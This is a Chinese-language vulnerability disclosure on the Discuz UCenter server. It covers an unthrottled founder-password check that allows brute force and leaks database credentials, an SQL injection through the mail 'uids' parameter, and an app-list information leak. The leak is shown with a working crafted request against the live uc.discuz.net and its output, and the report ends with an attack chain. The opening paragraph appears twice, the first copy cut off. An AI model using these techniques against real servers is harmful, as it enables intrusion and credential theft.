### 简要描述: 一个有条件的SQL注射和两个小问题。 ### 详细说明: 1,暴力破解。 ucserver的默认管理员登录需要输入验证码,并且还有登录次数的限制,但是在: /control/app.php 内是没有限制登录的次数的 ``` function onadd() { $ucfounderpw = getgpc('ucfounderpw', 'P'); $apptype = getgpc('apptype', 'P'); $appname = getgpc('appname', 'P'); $appurl = getgpc('appurl', 'P'); $appip = getgpc('appip', 'P'); $viewprourl = getgpc('viewprourl', 'P'); $appcharset = getgpc('appcharset', 'P'); $appdbcharset = getgpc('appdbcharset', 'P'); $apptagtemplates = getgpc('apptagtemplates', 'P'); $appallowips = getgpc('allowips', 'P'); if(md5(md5($ucfounderpw).UC_FOUNDERSALT) == UC_FOUNDERPW || (strlen($ucfounderpw) == 32 && $ucfounderpw == md5(UC_FOUNDERPW))) { ``` 只要登录的密码符合,就可以添加一个客户端连接到ucserver并且分配一个uckey和数据库信息。 ``` else { //$return = "UC_STATUS_OK|$app[authkey]|$app[appid]|".UC_DBHOST.'|'.UC_DBNAME.'|'.UC_DBUSER.'|'.UC_DBPW.'|'.UC_DBCHARSET.'|'.UC_DBTABLEPRE.'|'.UC_CHARSET; $return =...
### 简要描述: 一个有条件的SQL注射和两个小问题。 ### 详细说明: 1,暴力破解。 ucserver的默认管理员登录需要输入验证码,并且还有登录次数的限制,但是在: /control/app.php 内是没有限制登录的次数的 ``` function onadd() { $ucfounderpw = getgpc('ucfounderpw', 'P'); $apptype = getgpc('apptype', 'P'); $appname = getgpc('appname', 'P'); $appurl = getgpc('appurl', 'P'); $appip = getgpc('appip', 'P'); $viewprourl = getgpc('viewprourl', 'P'); $appcharset = getgpc('appcharset', 'P'); $appdbcharset = getgpc('appdbcharset', 'P'); $apptagtemplates = getgpc('apptagtemplates', 'P'); $appallowips = getgpc('allowips', 'P'); if(md5(md5($ucfounderpw).UC_FOUNDERSALT) == UC_FOUNDERPW || (strlen($ucfounderpw) == 32 && $ucfounderpw == md5(UC_FOUNDERPW))) { ``` 只要登录的密码符合,就可以添加一个客户端连接到ucserver并且分配一个uckey和数据库信息。 ``` else { //$return = "UC_STATUS_OK|$app[authkey]|$app[appid]|".UC_DBHOST.'|'.UC_DBNAME.'|'.UC_DBUSER.'|'.UC_DBPW.'|'.UC_DBCHARSET.'|'.UC_DBTABLEPRE.'|'.UC_CHARSET; $return = "$app[authkey]|$app[appid]|".UC_DBHOST.'|'.UC_DBNAME.'|'.UC_DBUSER.'|'.UC_DBPW.'|'.UC_DBCHARSET.'|'.UC_DBTABLEPRE.'|'.UC_CHARSET; } ``` 2,已知客户端的uckey的情况下,对ucserver进行SQL注射 代码在: /control/mail.php 中 ``` function onadd() { $this->load('mail'); $mail = array(); $mail['appid']= $this->app['appid']; $mail['uids']= explode(',', $this->input('uids')); $mail['emails']= explode(',', $this->input('emails')); $mail['subject']= $this->input('subject'); $mail['message']= $this->input('message'); $mail['charset']= $this->input('charset'); $mail['htmlon']= intval($this->input('htmlon')); $mail['level']= abs(intval($this->input('level'))); $mail['frommail']= $this->input('frommail'); $mail['dateline']= $this->time; return $_ENV['mail']->add($mail); } ``` $mail['uids']= explode(',', $this->input('uids')); 这句代码中的$mail['uids']最后进到了SQL语句里,相应的代码在: model/mail.php里有: ``` $mail['email_to'] = array(); $uids = 0; foreach($mail['uids'] as $uid) { if(empty($uid)) continue; $uids .= ','.$uid; } $users = $this->db->fetch_all("SELECT uid, username, email FROM ".UC_DBTABLEPRE."members WHERE uid IN ($uids)"); ``` $mail['email_to']被拼到$uids里最后导致了SQL注射。 3,信息泄漏,泄漏ucserver内的客户端应用和相应版本 代码在: control/app.php 内 ``` function onls() { $this->init_input(); $applist = $_ENV['app']->get_apps('appid, type, name, url, tagtemplates, viewprourl, synlogin'); $applist2 = array(); foreach($applist as $key => $app) { $app['tagtemplates'] = $this->unserialize($app['tagtemplates']); $applist2[$app['appid']] = $app; } return $applist2; } ``` 所以只要$this->init_input();能正确运行,那么就会抛出ucserver里面的应用和相应的版本号。 正好上传头像的api是存在$this->input()所需要的信息的,我们拿官方做个实验。 登录后访问: http://www.discuz.net/home.php?mod=spacecp&ac=avatar [<img src="https://images.seebug.org/upload/201406/192039539c9c850e4b51ee9e707af3ab0cb65d22.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/192039539c9c850e4b51ee9e707af3ab0cb65d22.jpg) 获得 ``` http://uc.discuz.net/images/camera.swf?inajax=1&appid=13&input=2b310Oraxl%2BiVL8yXhYy7pJ5DkQOPHYLt2FRsTEIyOD3PMtxkbn%2FDKkzssQgMWYlBirpQPsYOuN4vT9J5mZF7V6Q%2BRD3A8GK9uBTSj8%2FCEOGkPH959sDeep%2FiFag6X8&agent=569b93c7d7e18a505d671ba495198a3a&ucapi=uc.discuz.net&avatartype=virtual&uploadSize=2048 ``` 抠出我们要的东西 ``` ?inajax=1&appid=13&input=2b310Oraxl%2BiVL8yXhYy7pJ5DkQOPHYLt2FRsTEIyOD3PMtxkbn%2FDKkzssQgMWYlBirpQPsYOuN4vT9J5mZF7V6Q%2BRD3A8GK9uBTSj8%2FCEOGkPH959sDeep%2FiFag6X8&agent=569b93c7d7e18a505d671ba495198a3a&ucapi=uc.discuz.net&avatartype=virtual&uploadSize=2048 ``` 拼一下,得到: http://uc.discuz.net/index.php?m=app&a=ls&inajax=1&appid=13&input=2b310Oraxl%2BiVL8yXhYy7pJ5DkQOPHYLt2FRsTEIyOD3PMtxkbn%2FDKkzssQgMWYlBirpQPsYOuN4vT9J5mZF7V6Q%2BRD3A8GK9uBTSj8%2FCEOGkPH959sDeep%2FiFag6X8&agent=569b93c7d7e18a505d671ba495198a3a&ucapi=uc.discuz.net&avatartype=virtual&uploadSize=2048 访问得到: ``` <?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="14"> <item id="appid"><![CDATA[14]]></item> <item id="type"><![CDATA[UCHOME]]></item> <item id="name"><![CDATA[uchome]]></item> <item id="url"><![CDATA[http://u.discuz.net/home]]></item> <item id="tagtemplates"> <item id="template"><![CDATA[]]></item> </item> <item id="viewprourl"><![CDATA[]]></item> <item id="synlogin"><![CDATA[0]]></item> </item> <item id="9"> <item id="appid"><![CDATA[9]]></item> <item id="type"><![CDATA[OTHER]]></item> <item id="name"><![CDATA[Manyou_UChome]]></item> <item id="url"><![CDATA[http://uchome.developer.manyou.com/uchome]]></item> <item id="tagtemplates"> <item id="template"><![CDATA[]]></item> </item> <item id="viewprourl"><![CDATA[/space.php?uid=%s]]></item> <item id="synlogin"><![CDATA[1]]></item> </item> <item id="11"> <item id="appid"><![CDATA[11]]></item> <item id="type"><![CDATA[OTHER]]></item> <item id="name"><![CDATA[手握手]]></item> <item id="url"><![CDATA[http://sws.discuz.net/]]></item> <item id="tagtemplates"> <item id="template"><![CDATA[]]></item> </item> <item id="viewprourl"><![CDATA[]]></item> <item id="synlogin"><![CDATA[0]]></item> </item> <item id="13"> <item id="appid"><![CDATA[13]]></item> <item id="type"><![CDATA[]]></item> <item id="name"><![CDATA[Discuz!]]></item> <item id="url"><![CDATA[http://www.discuz.net/]]></item> <item id="tagtemplates"> <item id="template"><![CDATA[<a href="{url}?sid=" target="_blank">{subject}</a>]]></item> <item id="fields"> <item id="subject"><![CDATA[标题]]></item> <item id="uid"><![CDATA[用户 ID]]></item> <item id="username"><![CDATA[发帖者]]></item> <item id="dateline"><![CDATA[日期]]></item> <item id="url"><![CDATA[主题地址]]></item> </item> </item> <item id="viewprourl"><![CDATA[]]></item> <item id="synlogin"><![CDATA[1]]></item> </item> </root> ``` [<img src="https://images.seebug.org/upload/201406/192043280ea49147feecbfb1eea35aabf463665f.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/192043280ea49147feecbfb1eea35aabf463665f.jpg) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201406/192043280ea49147feecbfb1eea35aabf463665f.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/192043280ea49147feecbfb1eea35aabf463665f.jpg) 整个其实危害还是挺大的: 如果你能暴力出来一个ucserver的管理员密码,你就可以把ucserver和uclient黑了。 如果你能黑掉你列出来的任何一个uclient的应用,你就可以拿应用的uckey对ucserver注射。